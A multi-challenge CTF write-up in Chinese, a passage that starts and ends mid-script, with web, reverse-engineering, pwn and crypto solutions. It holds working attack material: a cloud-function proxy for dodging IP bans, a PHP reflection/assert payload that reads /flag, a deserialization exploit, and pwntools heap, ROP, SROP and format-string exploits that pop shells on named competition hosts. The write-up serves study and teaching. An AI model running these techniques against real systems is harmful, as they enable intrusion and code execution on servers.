    r=requests.post(url, data=payload3, headers=headers)
    time.sleep(0.2)
    # print(r.text)
    code = re.findall("code (\d+)",r.text)
    # print(code)
    print(chr(int(code[0])),end="")
    sys.stdout.flush()

bbxhh_revenge

  • 题目名称:帮帮小红花_revenge
  • 题目描述:小红花又双叒叕遇到黑页了,不过这个黑页好像有点奇怪,让小红花回忆起来了刚学CTF的那段时光…
  • flag : Nep{uuid}

题外话

由于靶机 docker 的某些问题,明明已经 export FLAG=not flag 了,但是还是可以从第二步的 phpinfo() 得到 flag,emmmm
其实题目比这要有意思的多,没有给师傅们展示出完整的题目十分抱歉

随便看看

首先打开网站,发现是个黑页,而且好像有 ban ip 的操作,并且会显示我们的 ip 地址。

只要访问,就会被 ban ip。这里选择使用腾讯的云函数进行绕过,由于腾讯开放的云函数接口,类似于 cdn,部署在多个物理机器内,因此可以利用这个特性进行 ip 绕过。

腾讯云函数配置

具体搭建过程请参考 ch1ng 师傅的 [这篇文章](由于该文章已经删除,我来补充一下搭建过程)
首先访问腾讯云函数管理平台,登陆,选择新建

函数名称描述啥的随便填,创建好之后把一下代码复制到函数代码中

#!/usr/bin/env python
# -*- coding:utf-8 -*-
# Using : https://your-func/?u=url

import requests
import json

def getEverything(event):
    url = getUrl(event['queryString'])
    headers = event['headers']
    data = getBody(event)
    if data == False:
        method = "get"
    else:
        method = "post"
    return url, headers, method, data


def getUrl(queryString):
    if 'u' in queryString:
        return queryString['u']
    else:
        return "http://www.baidu.com"

def getBody(event):
    if 'body' in event:
        body = event['body']
        s = '{"' + body.replace('=','":"').replace('&','", "') + '"}'
        return json.loads(s)

    else:
        return False


def main_handler(event, context):
    url, headers, method, data = getEverything(event)

    if method == "get":
        resp = requests.get(url, headers = headers, verify = False)
    else:
        resp = requests.post(url, data = data, headers = headers, verify = False)


    response={
        "isBase64Encoded": False,
        "statusCode": 200,
        "headers": {'Content-Type': 'text/html'},
        "body": resp.text
    }
    return response

回来看题

注意到一开始的黑页中有个 <?php eval($_GET['imagin']);?> ,我们利用云函数代理,访问 ip:port/?imagin=,看到输出了下一步,于是就按部就班地给他传值,梦回初学 CTF 的时候(x

顺着题目继续做,用以下请求得到下一步:

顺便可以得到 phpinfo 的信息,得知 php 版本为 7.0,可以使用 assert 动态执行代码。

Getshell

最后来到真正的利用点,源码如下:

<?php
function waf($s){
    return preg_replace('/sys|exec|sh|flag|pass|file|open|dir|2333|;|#|\/\/|>/i', "NepnEpneP", $s);
}


if(isset($_GET['a'])){
    $_ = waf($_GET['a']);
    $__ = waf($_GET['b']);
    $a = new $_($__);
}
else{
    $a = new Error('?');
}

if(isset($_GET['c']) && isset($_GET['d'])){
    $c = waf($_GET['c']);
    $d = waf($_GET['d']);
    eval("\$a->$c($d);");
}
else{
    $c = "getMessage";
    $d = "";
    eval("echo \$a->$c($d);");
}

这里考察了 php 的原生反射机制,使用 ReflectionFunction 类并调用其 invokeArgs 方法即可执行 php 函数,不过由于有 waf,所以我们调用 call_user_func 函数套娃一下,从而执行字符串构成的 php 代码,用 . 拼接绕过 waf 即可。

这里看到有别的师傅用 $a->getMessage(eval(hex)) 这种形式 getshell,也是可以的 ~

payload : index.php?a=ReflectionFunction&b=call_user_func&c=invokeArgs&d=array(%27assert%27,%27s%27.%27how_source(\%27/f\%27.\%27lag\%27)%27)

最后还有个小 trick,由于网站是黑色的,打印出来的字默认也是黑色的,所以在前端看不到 flag,需要 ctrl-u 查看源代码搜索 Nep{ 得到 flag。

梦里花开牡丹亭

考察php原类利用
主要是利用ZipArchive类的open方法去删除waf.txt文件。
ZIPARCHIVE::OVERWRITE。
而唯一注意的点就是content变量
跟进源代码,发现当为8或者9的时候可以删除文件。

exp

<?php
class Game{
    public  $username;
    public  $password;
    public  $choice;
    public  $register;
    public  $file;
    public  $filename;
    public  $content;

    public function __construct()
    {
        $this->username='admin';
        $this->password='admin';
        $this->choice=new login('','','');
        $this->register="admin";
        $this->file=new Open();//ZipArchive
        $this->filename='';
        $this->content='php /flag';//8或者9
        //n\l /flag
    }
}
class login{
    public $file;
    public $filename;
    public $content;
}
class Open{
}
#删除文件
$exp1='Tzo0OiJHYW1lIjo3OntzOjg6InVzZXJuYW1lIjtzOjU6ImFkbWluIjtzOjg6InBhc3N3b3JkIjtzOjU6ImFkbWluIjtzOjY6ImNob2ljZSI7Tzo1OiJsb2dpbiI6Mzp7czo0OiJmaWxlIjtOO3M6ODoiZmlsZW5hbWUiO047czo3OiJjb250ZW50IjtOO31zOjg6InJlZ2lzdGVyIjtzOjU6ImFkbWluIjtzOjQ6ImZpbGUiO086MTA6IlppcEFyY2hpdmUiOjU6e3M6Njoic3RhdHVzIjtpOjA7czo5OiJzdGF0dXNTeXMiO2k6MDtzOjg6Im51bUZpbGVzIjtpOjA7czo4OiJmaWxlbmFtZSI7czowOiIiO3M6NzoiY29tbWVudCI7czowOiIiO31zOjg6ImZpbGVuYW1lIjtzOjc6IndhZi50eHQiO3M6NzoiY29udGVudCI7aTo4O30=';
#执行命令
$exp2=base64_encode(serialize(new Game()));

/**
 * 发送request请求
 * @param $url
 * @param bool $ssl
 * @param string $type
 * @param null $data
 * @return bool|mixed
 */
function Http_request($url, $type, $data = array())
{
    $ssl = true;
    $curl = curl_init();
    curl_setopt($curl, CURLOPT_URL, $url);
    $user_agent = isset($_SERVER['HTTP_USERAGENT']) ? $_SERVER['HTTP_USERAGENT'] : 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36';
    curl_setopt($curl, CURLOPT_USERAGENT, $user_agent);//请求代理信息
    curl_setopt($curl, CURLOPT_AUTOREFERER, true);//referer头 请求来源
    curl_setopt($curl, CURLOPT_TIMEOUT, 30);//请求超时
    curl_setopt($curl, CURLOPT_HEADER, false);//是否处理响应头
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);//curl_exec()是否返回响应
    if ($ssl) {
        curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);//禁用后curl将终止从服务端进行验证
        curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 2);//检查服务器ssl证书中是否存在一个公用名(common name)
    }
    if ($type == "POST") {
        curl_setopt($curl, CURLOPT_POST, true);
        curl_setopt($curl, CURLOPT_POSTFIELDS, $data);
    }
    //发出请求
    $response = curl_exec($curl);
    if ($response === false) {
        return false;
    }
    return $response;
}

$url='http://ip/?a[]=1&b[]=2';
$data1['unser']=$exp1;
$data2['unser']=$exp2;
print(Http_request($url,"POST",$data1));
print(Http_request($url,"POST",$data2));

 

Re

hardcsharp

用exeinfo查一下pe结构,其为32位c#文件

用dnspy(32位)打开,初步预览一遍各类即可发现主类和aes加密工具类

主类的变量定义扫一眼即可,会发现明文长得很像被加密算法整过的。

下方是很直接的长度和格式判断。输入串长度为37,且是被Nep{}包括的。那么输入串应该就是flag。

第三个循环对前头定义的一个32位数组进行了一个^51转char的操作,记下来。

接着就是一个写在脸上的aes加密。(也可从对工具类的分析中得知)

那么根据调用稍加推理可得,那串明文即我们的密文,被^51的数组即我们的密钥。

解法1:还原一下密钥(badbadwomen!!!!!!!!!!!!!!!!!!!!!(22个!)),在线aes解密,根据工具类里的变量可知是AES模式为ECB,填充模式为PKCS7Padding

解法2:还原密钥(badbadwomen!!!!!!!!!!!!!!!!!!!!!)后把AES里的解密函数直接拿来用(自整一个AES解密函数也完全没问题)

flag:Nep{up_up_down_down_B_a_b_A_Nep_nep~}

exp:

using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Security.Cryptography;
namespace MyFirstProgram
{
    class Program
    {
        public static string AesDecrypt(string str, string key)//copy下来的解密函数
        {
            if (string.IsNullOrEmpty(str)) return null;
            Byte[] toEncryptArray = Convert.FromBase64String(str);

            RijndaelManaged rm = new RijndaelManaged
            {
                Key = Encoding.UTF8.GetBytes(key),
                Mode = CipherMode.ECB,
                Padding = PaddingMode.PKCS7
            };

            ICryptoTransform cTransform = rm.CreateDecryptor();
            Byte[] resultArray = cTransform.TransformFinalBlock(toEncryptArray, 0, toEncryptArray.Length);
            string Retstr = Encoding.UTF8.GetString(resultArray);
            return Retstr.Replace(Convert.ToChar(0x0b), Convert.ToChar(0x00));
        }
        public static void AES()//解密
        {
            string flag = "1Umgm5LG6lNPyRCd0LktJhJtyBN7ivpq+EKGmTAcXUM+0ikYZL4h4QTHGqH/3Wh0";
            string key = "";
            byte[] text = { 0x51, 0x52, 0x57, 0x51, 0x52, 0x57, 0x44, 0x5c, 0x5e, 0x56, 0x5d, 0x12, 0x12, 0x12, 0x12, 0x12, 0x12, 0x12, 0x12, 0x12, 0x12, 0x12, 0x12, 0x12, 0x12, 0x12, 0x12, 0x12, 0x12, 0x12, 0x12, 0x12 };
            for (int i = 0; i < 32; i++)
            {
                key += Convert.ToChar(text[i] ^ 0x33);
            }
            Console.WriteLine(key);
            Console.WriteLine(AesDecrypt(flag, key));
        }

        static void Main(string[] args)
        {
              AES();            
        }
    }
}

worrrrms

分析流程,即把用户输入经过加密后与密文对比。
key以base64形式存储;加密算法是没有经过改动的SM4.
key以及密文均通过动调得到。

exp:

package main

import (
    "encoding/base64"
    "fmt"
    "g0lang/src/sm4"
)

//SM4包取自https://github.com/ZZMarquis/gm

func main() {
    kb := "aWNhbnRlbGx1YXNpbXBsZQ=="
    c := []byte{2, 23, 137, 200, 217, 218, 251, 229, 14, 71, 140, 137, 76, 29, 122, 185,}

    k, _ := base64.StdEncoding.DecodeString(kb)


    p,_ := sm4.ECBDecrypt(k,c)


    fmt.Println("flag{",string(p),"}")
}

Password

  1. 首先base64换表解密
  2. 然后自己编写或搜索rc4加密代码,将S盒初始化做出相应改变
  3. 然后进行rc4解密,即可得到压缩包密码。
  4. 解密压缩包得到flag。
import base64

s1 = "abcdefghijklmnopqrstuvwxyz0123456789+/ABCDEFGHIJKLMNOPQRSTUVWXYZ"
s2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
data = "3g6L2PWL2PXFmR+7ise7iq=="
key = str(base64.b64decode(data.translate(str.maketrans(s1, s2)).encode('utf-8')), encoding="utf-8")

def Rc4_init(S, K):  # S盒初始化置换,K为密钥
    j = 0
    k = []
    for i in range(256):
        S.append(256 - i)
        k.append(K[i % len(K)])
    for i in range(256):
        j = (j + S[i] + ord(k[i])) % 256
        S[i], S[j] = S[j], S[i]  # 交换S[i],S[j]

def rc4_Decrypt(S, D):
    i = j = 0
    result = ''
    for a in D:
        i = (i + 1) % 256
        j = (j + S[i]) % 256
        S[i], S[j] = S[j], S[i]
        t = (S[i] + S[j]) % 256
        k = chr(ord(a) ^ S[(S[i] + S[j]) % 256])
        result += k
    return result

d = '\x8b\xd2\xd9\x5d\x95\xff\x7e\x5f\x29\x56\x12\xb9\xef\xec\x8b\xd0\x45'
print("key: " + key)
s = []
Rc4_init(s, key)
z = rc4_Decrypt(s, d)
print("Decrypt:" + z)

勇士打恶龙

无向图求遍历所有结点的最短路径
有少量反调试和混淆,patch掉即可
采用链式前向星存图
存图数组为{1,2,1, 1,4,5, 1,3,2, 3,5,1, 4,5,4, 5,6,7, 4,6,3, 2,4,1, 2,7,6, 6,7,3}
每三个为一组,第一个数为当前结点,第二个数为目标结点,第三个数为消耗
构建出图,查找最短路径的序列就可以了
flag为Nep{md5(135312467n)}

easymips

encry里面先是一个变异凯撒加密
然后srand定义了种子
ubuntu18.04上把rand跑出来就知道得到的随机数了
随机数与字符串异或就可以得到凯撒加密之前的结果
逆向回去就可以了
flag{solar_is_sotql}

Qriver

Qriver_r3对输入做换表RC4加密,密钥为文件名,加密后将内存地址发送到驱动,输出OK
Qriver.sys 驱动入口函数根据Windows版本获取_EPROCESS结构偏移,Windows版本大于20H1或者小于Windows10,驱动不会被加载。 偏移获取成功后启动反调试线程对Qriver_r3做清DebugPort操作。 在驱动分发函数里解析IRP判断地址是否在该进程空间中,如果检查都通过,会将经过RC4加密后的输入复制到内核空间

之后调用一次 KdDisableDebugger 后进入VM 如果是用驱动动调的做法来做这道题需要把这个KdDisableDebugger patch掉

虚拟机很大但指令不难,并且判断是逐字节的,看有师傅直接是爆破出来的,算法如下(看到有师傅是静态分析出的 是真的顶

input[0] ^= 81, input[1] ^= input[0] ..... input[...] ^= input[..]
push input[0] ...... input[...]
in stack input[0] ^= 0 ... input[...] ^= length-1 
push (input[...] ^= (lengrh-1)) - 2 ...
pop and compare

二十六进制

源码:

#include<stdio.h>
#include<stdlib.h>
#include<windows.h>
/*
进制加密的思路

input_data:  518100101
加密后的数据:  Fb72>&6
*/

const char jinzhi_table[] = "2163qwe)(*&^%489$!057@#><A";
const int jz = 26;
char key[] = { "Fb72>&6" };


struct node {
    char data;
    struct node* next;
}*head, * cur_node;


void check_the_flag(); // 检查flag 是否正确
//void wrong();
//void right();
void linklist_add(char i);
void base_conversion(long long int n);
int del_linked(int sum);
int v6 = 0;


int main()
{
    char input[255] = { 0 };
    long long int x;
    head = cur_node = (struct node*)malloc(sizeof(struct node));
    cur_node->next = NULL;

    printf("plz input right num:\n");
    scanf_s("%s", input, 32);
    x = _atoi64(input);

    base_conversion(x);
    return 0;
}

void base_conversion(long long int n)
{
    // 进制转换 
    int i = 0;
    char a;
    while (n)
    {
        a = jinzhi_table[n % jz];
        n = n / jz;
        linklist_add(a ^ 7);
        i++;
    }

    check_the_flag();
}

void linklist_add(char i)
{
    cur_node->next = (struct node*)malloc(sizeof(struct node));
    cur_node->data = i;
    cur_node = cur_node->next;
    cur_node->next = NULL;

}
void check_the_flag()
{
    int i, sum = 0;
    struct node* tmp = head;

    for (i = 0; i < 8; i++)
    {
        if (tmp == NULL) {
            break;
        }
        //printf("%c", tmp->data);
        if (tmp->data == key[i]) {
            sum++;
        }
        tmp = tmp->next;
    }

    // 链表释放内存
    int code = del_linked(sum);

    if (sum != 8) {
        /*right();*/
        puts("flag is Error!!!");
        exit(code);
    }
    else {
        //wrong();
        puts("flag is Right!!!, please md5('Nep{you_input_num}') submit th4 flag");
        system("pause");
        exit(code);
    }
}


int del_linked(int sum){
    if (head == NULL) {
        return -1;
    }
    int tmp = sum;
    while (head != NULL) {
        cur_node = head;
        head = head->next;
        free(cur_node);
        tmp -= 1;
    }
    return tmp;
}

exp

data = "Fb72>&6"
# data = list(data)
s = [chr(ord(i) ^ 7) for i in data]
index_list = [jinzhi_table.index(i) for i in s]
print(index_list)

num = 0
count = 0
for i in index_list:
    num += i * (26 ** count)
    count += 1

print(num)

flag

Nep{md5(518100101)}
Nep{967fa25cbea166ded43127f141cff31a}

做梦也没有想到会有非预期,,,哭了

Spy-woman

思路很简单,做了一套文件过滤系统,驱动和客户端分别非常直白地做了一次字符变形,驱动里对全局的字符串进行过滤,算法是刷leetcode时候看到的字符Z字变形;因为驱动过滤受系统噪音影响比较大,客户端就做了一个格式判断然后对接收到的字符做了一次bwt压缩算法,最后很直球地compare flag,后来想了想用于格式判断的字符有点多,打算删到四个,结果平台附件没有更新emmmmm。
为什么出解这么少(

 

Pwn

送你一朵小红花

#!/usr/bin/python
#coding=utf-8
#__author__:TaQini

from pwn import *

while 1:
    # p = process('./xhh')
    p = remote('taqini.space',9999)
    p.send(cyclic(0x10)+p16(0x34e1))
    res = p.recvall()
    if "Nep" in res:
        break
print res

NULL_FxCK

from pwn import*
#context.log_level = 'DEBUG'
context.binary = './main'
def menu(ch):
    p.sendlineafter('>> ',str(ch))
def New(size,content):
    menu(1)
    p.sendlineafter('Size: ',str(size))
    p.sendafter('Content: ',content)
def Modify(index,content):
    menu(2)
    p.sendlineafter('Index: ',str(index))
    p.sendafter('Content: ',content)
def Show(index):
    menu(4)
    p.sendlineafter('Index: ',str(index))
def Free(index):
    menu(3)
    p.sendlineafter('Index: ',str(index))

libc = ELF('./libc-2.32.so')
while True:
#    p = remote('127.0.0.1',32768)
    p = remote('node2.hackingfor.fun',38734)
    try:
        New(0x2000,'FMYY')
        New(0x1000,'FMYY')
        New(0x2000 - 0x2F0 - 0x600,'FMYY')
        New(0x4F0,'FMYY') #3
        New(0x108,'FMYY')
        New(0x500,'FMYY') #5
        New(0x108,'FMYY') #6 - 7 -8
        New(0x108,'FMYY')
        New(0x108,'FMYY')
        New(0x510,'FMYY') #9
        New(0x108,'FMYY') 
        New(0x4F0,'FMYY') #11
        New(0x108,'FMYY') #12
        Free(3)
        Free(5)
        Free(9)
        New(0x2000,'FMYY')
        Free(3)
        New(0x500,'\x00'*8 + p64(0xE61)) # 3
        New(0x4F0,'\x00'*8+ '\x10\x00') # 5

        Free(11)
        New(0x800,'FMYY') # 9
        Free(9)
        New(0x510,'\x10\x00') #9
        New(0x4F0,'\x00'*0x20) #11

        Modify(10,'\x00'*0x100 + p64(0xE60))
        Free(11)
        New(0x4F0,'FMYY') # to split the unsorted bin chunk
        New(0x1000,'FMYY')
        Show(6)
        libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - 1648 - 0x10 - libc.sym['__malloc_hook']
        log.info('LIBC:\t' + hex(libc_base))
        Show(9)
        heap_base = u64(p.recv(6).ljust(8,'\x00')) - 0x49F0
        log.info('HEAP:\t' + hex(heap_base))
        ############################
        SROP_address = heap_base + 0x79F0
        magic = libc_base + 0x1EB538
        main_arena = libc_base + libc.sym['__malloc_hook'] + 0x10
        pop_rdi_ret = libc_base + 0x000000000002858F
        pop_rdx_r12 = libc_base + 0x0000000000114161
        pop_rsi_ret = libc_base + 0x000000000002AC3F
        pop_rax_ret = libc_base + 0x0000000000045580
        syscall_ret = libc_base + 0x00000000000611EA
        malloc_hook = libc_base + libc.sym['__malloc_hook']


        frame = SigreturnFrame()
        frame.rsp = heap_base + 0x7A90 + 0x58
        frame.rip = pop_rdi_ret + 1

        Open = libc_base + libc.symbols["open"]
        Read = libc_base + libc.symbols["read"]
        Write = libc_base + libc.symbols['write']

        orw  = ''
        orw += p64(pop_rax_ret) + p64(2)
        orw += p64(pop_rdi_ret)+p64(heap_base + 0x7B78)
        orw += p64(pop_rsi_ret)+p64(0)
        orw += p64(syscall_ret)
        orw += p64(pop_rdi_ret) + p64(3)
        orw += p64(pop_rdx_r12) + p64(0x100) + p64(0)
        orw += p64(pop_rsi_ret) + p64(heap_base + 0x10000)
        orw += p64(Read)
        orw += p64(pop_rdi_ret)+p64(1)
        orw += p64(Write)
        orw += './flag.txt\x00\x00'
        IO_helper_jumps = libc_base + 0x1E38C0
        ###################################
        New(0x130,'\x00'*0x108 + p64(0x4B1)) #14
        New(0x440,'FMYY') #15
        New(0x8B0,'\x00'*0x20 + p64(0x21)*8) #16
        New(0x430,'FMYY') #17
        New(0x108,'FMYY') #18
        Free(15)
        ######
        New(0x800,'FMYY')
        Free(15)
        ######
        Free(7)
        New(0x4A0,'\x00'*0x28 + p64(0x451) + p64(main_arena + 1120)*2 + p64(heap_base + 0x6650) + p64(magic - 0x20))
        Free(17)
        New(0x800,str(frame) + orw)
        Free(15)

        New(0x430,'FMYY')
        Free(7)
        New(0x4A0,'\x00'*0x30 + '\x01'*0x90 + p64(libc_base + 0x1E54C0 + 0x60)*0x10 + p64(libc_base + 0x1E48C0 + 0xA0)*0x10)
        Free(0)
        Free(1)

        New(0x108,p64(libc_base + libc.sym['setcontext'] + 61))
        New(0x208,str(frame)[0xA0:])
        menu(1)
        p.sendafter('Size:',str(0x428))
        break
    except:
        p.close()
p.interactive()

easypwn

 snprintf(s, 7uLL, (const char *)&buf);
 存在格式化字符串,但是限制了长度,大概这么短的,能实现一个写'\x00'
 然后修改 rbp,劫持栈,然后rop

exp:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
import sys
context.log_level = 'debug'
s       = lambda x                  :orda.send(str(x))
sa      = lambda x, y                 :orda.sendafter(str(x),str(y)) 
sl      = lambda x                   :orda.sendline(str(x)) 
sla     = lambda x, y                 :orda.sendlineafter(str(x), str(y)) 
r       = lambda numb=4096          :orda.recv(numb,timeout=1)
rc        = lambda                     :orda.recvall()
ru      = lambda x, drop=True          :orda.recvuntil(x, drop)
rr        = lambda x                    :orda.recvrepeat(x)
irt     = lambda                    :orda.interactive()
uu32    = lambda x   :u32(x.ljust(4, '\x00'))
uu64    = lambda x   :u64(x.ljust(8, '\x00'))
db        = lambda    :raw_input()
def getbase_b64(t):
    pid=proc.pidof(s)[0]
    pie_pwd ='/proc/'+str(pid)+'/maps'
    f_pie=open(pie_pwd)
    return f_pie.read()[:12]

pop_rdi = 0x0000000000400c53
pop_rsi_r = 0x0000000000400c51
pop_rbp = 0x0000000000400778
leave_ret = 0x0000000000400829
elf = ELF("pwn")

def expolit():
    global orda
    if len(sys.argv) > 1:
        s = "127.0.0.1:9999"
        host = s.split(":")[0]
        port = int(s.split(":")[1])
        orda = remote(host,port)
    else:
        orda = process("./pwn")
    try:

        #raw_input()
        payload = p64(0x6020a0)+p64(pop_rdi)+p64(0)
        payload += p64(pop_rsi_r)+p64(0x6020f8)*2+p64(elf.plt['read'])
        sla(": ",payload)
        sa("\n","%22$hhn")
        #gdb.attach(orda,"b *0x00000000004009c5")
        sa("introduction\n",p64(0)+p64(pop_rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(pop_rbp)+p64(0x6020c0)+p64(leave_ret))

        ru("\n")
        libc_base = uu64(r(6)) -0x80aa0
        log.info("libc_base : "+hex(libc_base))
        #raw_input()
        sl(p64(pop_rsi_r)+p64(0)*2+p64(libc_base+0x4f432)+p64(0)*0x50)
        irt()
    except:
        orda.close()
        pass

for i in range(100):
    expolit()

scmt

题目考察的技术点*

1,对静态编译程序函数的关键断码段判定
2,对格式化字符串特殊格式化字符的运用方法,
3,对scanf函数读取特殊字符的运用
1 题目详细解题方法

利通过格式化字符攻击,把随机数的值传入key中
通过scanf读入“-”不会改变栈上数值的特性绕过key检查
触发后门。

#coding=utf-8
from pwn import *
context.arch = "amd64"

menu=""
sh = 0
lib = 0
elf =ELF('t1')
""" """
l64 = lambda      :u64(sh.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
l32 = lambda      :u32(sh.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
leak  = lambda name,data : sh.success(name + ": 0x%x" % data)
s  = lambda payload: sh.send(payload)
sa  = lambda a,b  :sh.sendafter(str(a),str(b))
sl  = lambda payload: sh.sendline(payload)
sla = lambda a,b  :sh.sendlineafter(str(a),str(b))
ru  = lambda a     :sh.recvuntil(str(a))
r  = lambda a     :sh.recv(str(a))
""" """
def b(addr):
    # bk="b *$rebase("+str(addr)+")"
    bk="b *"+str(addr)
    attach(sh,bk)
    success("attach")
def pwn(ip,port,debug):
    global sh
    if(debug == 1):
        sh = process("./t1")
    else:
        sh = remote(ip,port)
    sa("tell me your name:","%*8$p%7$n")
    sla("lucky number:","-")
    sh.interactive()
if __name__ == "__main__":
    pwn("0.0.0.0",9999,0)

sooooeasy

这题del函数有很明显的uaf漏洞,没给show函数,所以要借助IO_FILE的stdout来leak出libc的地址
首先先借助uaf构造chunk链,将stdout附近的地址链进chunk里,再通过malloc将stdout内部结构重造一下,即可leak出地址

再通过uaf将onegadget写进malloc_hook
最后用double free触发malloc_hook,实现getshell(也可以通过改realloc偏移来实现add chunk来getshell)

关于glibc版本,这题是uaf,可以通过ptmalloc的报错打印出libc的相关信息。或者可以用strings查gcc版本,推出是2.23(不过这个方法不一定准)

exp:

#!usr/bin/env python
# -*- coding:utf-8 -*-

from pwn import *

# context.log_level ='DEBUG'

# r = process('./sooooeasy')
r = remote('node2.hackingfor.fun',30926)
elf = ELF('./sooooeasy')

libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')


def add(length,name,color):
    r.recvuntil("Your choice :")
    r.sendline("1")
    r.recvuntil(":")
    r.sendline(str(length))
    r.recvuntil(":")
    r.send(name)
    r.recvuntil(":")
    r.sendline(color)

def remove(idx):
    r.recvuntil("Your choice :")
    r.sendline("2")
    r.recvuntil(":")
    r.sendline(str(idx))

def clean():
    r.recvuntil("Your choice :")
    r.sendline("3")


def pwn():
    add(0x60,'a'*8,'a'*8)
    add(0x60,'b'*8,'b'*8)
    add(0xf0,'a'*8,'a'*8)

    add(0x60,'a'*8,'a'*8)
    add(0x60,'c'*8,'c'*8)

    remove(2)

    add(0x20,'\x00','e'*8)
    add(0x60,p16(0x25dd),'f'*8) #构造chunk指向stdout那块地址 1/16概率爆破
    remove(0)
    # remove(1)
    remove(3)

    remove(0)
    # gdb.attach(r)

    add(0x60,p8(0x00),'1'*8) #改chunk指针为写入stdout-0x53的地址
    add(0x60,p8(0x00),'1'*8)
    add(0x60,p8(0x00),'1'*8)
    # add(0x60,p8(0x00),'1'*8)
    add(0x60,p8(0x00),'1'*8)
    pay = 0x33*'A' + p64(0xfbad1800) + p64(0)*3 + '\x00'
    # add(0x60,pay,'aaa')
    r.recvuntil("Your choice :")
    r.sendline("1")
    r.recvuntil(":")
    r.sendline(str(0x60))
    r.recvuntil(":")
    r.send(pay)
    # gdb.attach(r)
    stderr = u64(r.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
    print hex(stderr)
    libc_base = stderr+0x20 - libc.sym['_IO_2_1_stdout_']
    print hex(libc_base)

    r.recvuntil(":")
    r.sendline('aaaa')
    # libc_addr = stderr+0x20 - obj.dump['_IO_2_1_stdout_']
    # print hex(libc_addr)

    one = [0x45226,0x4527a,0xf0364,0xf1207]
    onegadget = libc_base + one[2]
    malloc_hook = stderr - 0xaf0
    realloc = libc.symbols['realloc']+libc_base
    print hex(malloc_hook)

    #get shell
    remove(7)
    remove(8)
    remove(7)
    add(0x60,p64(malloc_hook-0x23),'b')
    add(0x60,'a','a')
    add(0x60,'a','a')
    payload = 'a'*0x13 + p64(onegadget)
    add(0x60,payload,'d')

    #double触发malloc_hook
    remove(0)
    remove(0)



    r.interactive()


i = 0
while 1:
    i += 1
    log.warn(str(i))
    try:
        pwn()
    except Exception:
        r.close()
        # r = process('./sooooeasy')
        r = remote('node2.hackingfor.fun',30926)

easystack

简单的__stack_chk_fail

exp:

from pwn import *

context.log_level = 'debug'
p= process("./easystack")
#p=remote("node2.hackingfor.fun",'30784')

exp = 0x30*p64(0x6cde20)

p.sendline(exp)
p.recv()
p.interactive()

superpower

程序功能

  1. 读取除了flag的任意文件
  2. 一次格式化字符串漏洞
  3. 文件打开后使用了fclose函数
  4. 32位程序 libc:2.23

利用方式

  1. 利用功能1读取文件/proc/self/maps来泄漏libc地址,计算system地址
  2. 利用格式化字符串漏洞覆盖IO_FILE的指针指向伪造的IO_FILE
  3. ‘/bin/sh’的可以计算地址,也可以直接用”;/bin/sh”字符串

exp

#coding=utf-8
from pwn import *
elf = ELF('./superpower')
context.arch = 'i386'
context.log_level = 'debug'
context.os = 'linux'

#sh = process('./superpower')
sh = remote('0.0.0.0',7777)
libc = ELF('./libc-2.23.so')

sh.recvuntil("filename")
sh.sendline("/proc/self/maps")

sh.recvuntil("0 \n")

libc_base = int(sh.recv(8),16)
print("libc_base:"+hex(libc_base))
system = libc_base + libc.symbols['system']
print("system:"+hex(system))

fp = 0x0804A04C
fakeFILE = fp + 4#伪造的地址

offset = 27
#gdb.attach(sh)
payload = fmtstr_payload(offset, {fp:fakeFILE,fakeFILE:0xffffdfff,fakeFILE+4:";/bin/sh",fakeFILE+0x94:fakeFILE+0x98,fakeFILE+0x94+0x4*3:system,fakeFILE+0x94+0x4*2:system})

sh.send(payload)

sh.interactive()

 

Crypto

Real_Base

浏览一遍代码后应该就能发现这是一个变异的base64编码,编码表b_char没给,应该是做了一些修改。给了m和encode(m),可以想到是已知明文攻击,对m进行base64加密,通过对照encode(m)可以得到编码表b_char。之后再用该编码表base64解码即可。

import string
import base64
import random
from Crypto.Util.number import *

s='rTcb1BR8YVW2EOUjweXpIiLt5QCNg7ZAsD9muq3ylMhvofnx/P'
a=base64.b64encode(s)

b='2Br9y9fcu97zvB2OruZv0D3Bwhbj0uNQnvfdtC2TwAfPrdBJ3xeP4wNn0hzLzCVUlRa='
nvs = zip(list(a),list(b))
b64_char = string.ascii_uppercase + string.ascii_lowercase + string.digits + '+/'
new_char = ['*']*64
for x in nvs:
    s= str(x[0])
    ind = b64_char.find(s)
    new_char[ind]=x[1]
print ''.join(new_char)
#abcdef*h*j*l*n***r*tuvwxyz0*234**7*9ABCD*****J*L*NOPQR*TUV***Z*=
#new_char 中*内容自行补充完整,从而得到new_char
new_char = string.ascii_lowercase + string.digits +  string.ascii_uppercase + '+/'
c='tCvM4R3TzvZ7nhjBxSiNyxmP28e7qCjVxQn91SRM3gBKzxQ='
add_num =c[-2:].count('=')
tmp_str = [bin(new_char.index(x)).replace('0b','').zfill(6) for x in c.rstrip('=')]+add_num*['000000']
tmp_res = ''.join(tmp_str)
print long_to_bytes(int(tmp_res,2))

ChildRSA

flag1用的是coppersmith ’s random padding attack。题目中

可以看成是

然后化简两个公式,将M抵消掉,得到只有r的一元方程

因为r1、r2最多170位,所以r也是最多170位。此时利用coppersmith可以得到r的值

求得r之后用Franklin-Reiter Related Message Attack 得到M。由于M=padding 1|| flag1 || r1 ,因此直接转化成字节可以得到flag1。
参考文章如下:
coppersmith
Franklin

#solve chlidrsa -1
from Crypto.Util.number import *
from gmpy2 import iroot
N=
(c1,c2,c3)=

#M=m+r1
#M+R =m+r2
def cop_solve(N,c1,c2):
    PR.<x>=PolynomialRing(Zmod(N))
    f = x^9+3*(c1-c2)*x^6+(3*c1^2+21*c1*c2+3*c2^2)*x^3+(c1-c2)^3 
    x0=f.small_roots(X=2**170,beta=1.0,epsilon = 1/36)
    if len(x0) != 0:
        print x0[0]
    else:
        print "error"
    return x0[0]

def gcd(a, b): 
    return a.monic() if b == 0 else gcd(b, a % b)

